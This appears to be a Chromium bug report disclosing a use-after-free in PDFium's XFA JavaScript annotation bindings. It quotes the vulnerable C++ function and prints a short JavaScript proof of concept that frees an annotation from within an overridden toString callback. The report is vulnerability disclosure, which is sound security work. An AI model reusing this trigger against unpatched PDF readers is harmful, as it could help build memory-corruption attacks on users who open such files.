VULNERABILITY DETAILS
Use after free in PDFium

VERSION
Chromium    56.0.2915.0 (Developer Build) (64-bit)
Revision    9c88c589fdf91ce439627b8eb897cce07552f36c-refs/heads/master@{#431175}
JavaScript    V8 5.6.267
Operating System OSX 10.12.1 
PDFium with XFA enabled

REPRODUCTION CASE
We have attached the PDF that triggers this bug in addition to the source for
that PDF.  We create the attached PDF by compiling the source with PDFLatex and
then adding an XFA element to the resulting PDF (with a custom program that
uses the iText library), which makes it an XFA PDF. 


The UAF takes place in PDFium's C++ bindings for its JavaScript API:

(https://cs.chromium.org/chromium/src/third_party/pdfium/fpdfsdk/javascript/Annot.cpp?sq=package:chromium&l=70)

// vp is a CJS_PropValue, a JavaScript object controlled by the user
bool Annot::name(IJS_Context* cc, CJS_PropValue& vp, CFX_WideString& sError) {

  CPDFSDK_BAAnnot* baAnnot = ToBAAnnot(m_pAnnot.Get());
  if (!baAnnot) return false;

  ...

  CFX_WideString annotName;
  // When annotName is a WideString, the ">>" operator calls "ToCFXWideString"
  // with vp as the reciever. This, in turn, calls V8's "ToString" with our vp object.
  // We can override this function to delete baAnnot.
  vp >> annotName;

  // Since we deleted baAnnot in the previous call back into JavaScript, we are now
  // using it after it has been freed. 
  baAnnot->SetAnnotName(annotName);
  ...
}

To hit this C++ code, we embed the following JavaScript in an XFA pdf:
function run() {
  const annots = this.getAnnots();
  // annots[0], in this case, corresponds to "vp" in the code above
  annots[0].name = { 
    toString: () => {
      // remove the "myRadio" widget which removes "baAnnot" 
      this.removeField("myRadio");
      gc();
      return false;
      }
    };
}
 

Deleted: main.ltx 1.4 KB

main.ltx 1.4 KB Download

Deleted: main.pdf 26.9 KB

main.pdf 26.9 KB Download